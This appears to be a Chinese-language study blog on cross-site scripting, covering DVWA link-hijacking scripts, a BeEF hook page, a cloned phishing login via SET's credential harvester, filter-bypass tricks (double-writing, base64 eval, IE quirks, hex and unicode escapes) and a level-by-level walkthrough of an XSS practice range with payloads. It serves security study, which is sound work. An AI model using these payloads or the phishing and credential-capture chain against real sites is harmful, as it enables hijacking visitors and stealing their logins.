XSS篡改连接JS代码1
2
3
4
5
6<script>
window.onload=function(){ /*当窗口加载时执行匿名代码*/
var link=document.getElementsByTagName("a"); /*html中,<a> 标签是超链接标签*/
for(i=0;i<link.length;i++) link[i].href="http://noone40404.github.io";
}
</script>直接在输入框中提交,所有的连接都指向的我的博客
而针对没有输入框的网站,我们需要构造一个
url,即1
2
3
4
5
6http://[ip]/dvwa/vulnerabilities/xss_r/?name=<script>
window.onload=function(){ /*当窗口加载时执行匿名代码*/
var link=document.getElementsByTagName("a"); /*html中,<a> 标签是超链接标签*/
for(i=0;i<link.length;i%2B%2B) link[i].href="http://noone40404.github.io";
}
</script>值得注意的是,浏览器会在本地将空格转义为
+号,所以会导致死循环,解决方案是使用转义后的加号%2B恶意网页创建
beef-xss生成对应hook,默认账号是beef,密码自己设定
先看下
ip打开
apache2,在/var/www/html/index.html中加入上面给的代码
此时再访问
http://[ip]/index.html时,beef后台能看到我们的机器
beef能做很多事情,以后再说。如此就创建好一个恶意网页篡改连接
将创建好的恶意网站与构造的
url结合
XSS盗取用户信息原理与创建
setoolkit克隆一个与存在XSS漏洞网站的登陆网站相同的页面Social engineering Attacks-Website Attack Vectors-Credential Harvester Attack Method-Site Cloner钓鱼网站页面默认为本机网卡
ip, 再输入所克隆网站网址

在钓鱼网站中输入的信息被成功截获

将该网址与上面的
xss恶意代码结合即可
提交
XSS构造一个独一无二且不会被识别为恶意代码的字符串提交
然后进行代码审查,寻找字符串是否在页面中显示

查看前后标签,在
payload前提前闭合这里就需要闭合双引号
"以及加粗标签</b>对于存在输入长度限制的,
F12改maxlength即可html事件浏览器内置的事件处理器能监视诸如单击鼠标等用户行为,通过
JS可以将事件处理器作为属性给特定标签,并在事件发生时执行JS命令或函数onclick与ondblclick是较常用的处理器,能在单击/双击鼠标时运行脚本onmouseover在鼠标移动至元素之上时运行脚本例:
1
onmouseover=alert("xss")
注意引号闭合
空格属性探测
输入空格时,可以发现空格后的被转成标签

在加个等于号,发现等号后的自动加上了双引号,则此时
xss代码就不需要双引号
JS伪协议将
JS代码放在javascript:后的url中,可以将其添加到客户端。该协议声明了url的主体是任意的JS代码,含有多个语句时用分号隔开,例1
javascript:alert("xss");
xss绕过 $1$最简单的将识别到的关键词替换为空
- 双写
编码
1
eval(atob('[base64_code]'));
eval函数返回括号内字符串运行结果atob解码base64
xss绕过 $2$对于所有
script标签,加上x变成xscript先尝试伪协议绕过,但是发现被转换成了
javaxscript结合空格,躲开关键词检索,即
javascr iptIE特性绕过 $1$输入时屏蔽了双引号
一个仅存在于
IE中的特性是两个'可以闭合左边的双引号,其余同上IE特性绕过 $2$对输入的字符进行转义,使无法用
"和>直接闭合另一个存在于
IE中的特性是可以用css命令中包含JS代码,格式如下:1
background:url("javascript:alert("xss");");
IE特性绕过 $3$css中expression可以将css属性与JS代码关联起来,即expression([JS_code])。而前端过滤名单中有expression,考虑用注释符/**/破坏字符完整性,例:1
xss.expre/**/ssion(if(!window.x){alert("xss"); window.x=1;})
这里最前面的
xss可以理解为函数名,自定即可。window.x声明了一个全局窗口变量,默认为 $0$ ,而最后将其改为 $1$ 是防止该代码反复执行$16$ 进制绕过
同样面临着
<被转义,字符串为value类型的情况,而且对于单个\会进行替换可以用 $16$ 进制对尖括号进行转义得到
\x3c与\x3e如此可以构造
payload:1
\\x3cscript\\x3e alert("xss");\\x3c/script\\x3e
unicode绕过不能用 $16$ 进制转换尖括号了,可以用
unicode试试\u003c与\u003e源与同源
源包含了协议,主机号与端口号,严格遵循 协议://主机号:端口
仅当三者完全相同时,才认定为属于同源,例:
http://www.qwq.com与https://www.qwq.com不是同一源而对于不同源,存在同源策略,阻止一个源上的恶意代码访问另一个源上的资源
特殊的是,对于
IE存在互信域,域中可以相互访问并且
IE在判断同源时不考虑端口关于
document.domaindomain属性可以进行降域,因为同源策略认为域与子域并非同源,而设置他们的document.domain可以使浏览器认为他们为同一域
xss-filter过滤器htmlspecialchars()/htmlentities将预定义的字符
&,",',<,>转换为html实体,例1
2
3$str="<script>alert("xss");</script>";
$new_str=htmlspecialchars($str);
echo $new_str;并不会跳出弹窗,而是显示
1
<script> alert("xss") </script>
strip_tags()移除原字符串中的
html,xml,php标签,如上例,会输出1
alert("xss");
编码转义
url编码考虑到传输问题,选用了较小且通用的安全字母表。而
url需要包含不在表内的二进制数据与字符,所以url存在转义机制将不安全的字符编码为安全字符再传输其形式是
%[xx],后跟两位表示字符ASCII码的十六进制数html编码某些字符出现在值中时不安全,例如
<>会被误认为标签,所以html重新编码后可以正确显示这些字符分为实体编码与进制编码
实体编码以
&开头,将标签<转为实体<进制编码以
&#开头,加上字符的数值,其可以是十进制ASCII码或者Unicode编码JS编码在
\u后面加 $4$ 位十六进制数字,或者\x后加 $2$ 位十六进制数字,按字符的unicode编码,不足位数用 $0$ 填充
payload与自动化kali下自带payload字典,位于/usr/share/wordlist/wfuzz/Injections用
burpsuite-intruder即可XSS注入位置GET型在
url中出现的提交参数出现在页面中POST型在表单中提交的参数出现在页面中
JSON型提交数据出现在封闭的
<script></script>中自定义
http头型对于
burp抓包,手动加入http头的内容,当显示在页面上时
靶场内容:
level2
<被转义成html实体但看下面,
value处没有过滤,那么这就是注入点,闭合value即可
1
?keyword="><script>alert("")</script>
level3value处也被转义,但可以发现括号没有,用不带<的命令尝试注意引号的闭合,由于
value前后都是单引号,有payload1
'onmouseover='alert()
闭合结果如下:

level4
看一下过滤,尖括号转义,
value处是删去尖括号如上一题即可,注意要闭合的引号是双引号
level5

关键词被添加了下划线,大小写失效
挨个试一下常用的
xss语句:1
2
3
4<script> alert(1) </script>
<img src= οnerrοr=alert(1)>
<svg οnlοad=alert(1)>
<a href=javascript:alert(1)>发现最后一个超链接没有被过滤
再闭合前面的括号即可
level6仍是过滤了大部分函数,但经测试都可以用大小写绕过
level7<script>被过滤为<>,自然想到双写绕过level8仍是关键词加下划线,尝试绕过判断,用上面提过的编码:
1
javascript:alert()
t=tlevel9前端返回的结果是链接不合法,测试结果是必须包含
http://才会被接受,所以可以将其放在最后并注释1
javascript:alert()//http://
level10看源码发现有三个隐藏的值,分别向其中输入参数,

发现只有
t_sort有显示注入过程发现尖括号被吞了
用
onclick或者onmouseover,注意这里页面上是没有t_sort的,需要手动添加一个type使其可以被点击1
" onmouseover=alert() type="text"
level11四个隐藏值还是只有
t_sort能用,但过滤了双引号,用十六进制转换没用但注意
t_ref,联想到referer头,hackbar传一下发现可行
payload与上题一样即可level12同理
hackbar改UA即可,注意要保留原始UA否则会被服务器拒绝level13同理要提交
cookie,但没有用户名,burp抓包找一下
那么要上传的
cookie即为1
user=call+me+maybe " onmouseover=alert() type="text"
level14这关调用的
exifviewer已经失效了,但可以复现一下这针对于读取
exif图片文件信息的网站,将图片的的exif信息改为恶意代码,上传后网站会读取并执行该代码level15没看懂
level16替换
script且无法绕过,尝试可以用<img src绕过空格也被替换,使用
url编码表1
<img%0asrc=""%0aonerror=alert()>
level17-20没
flash做不了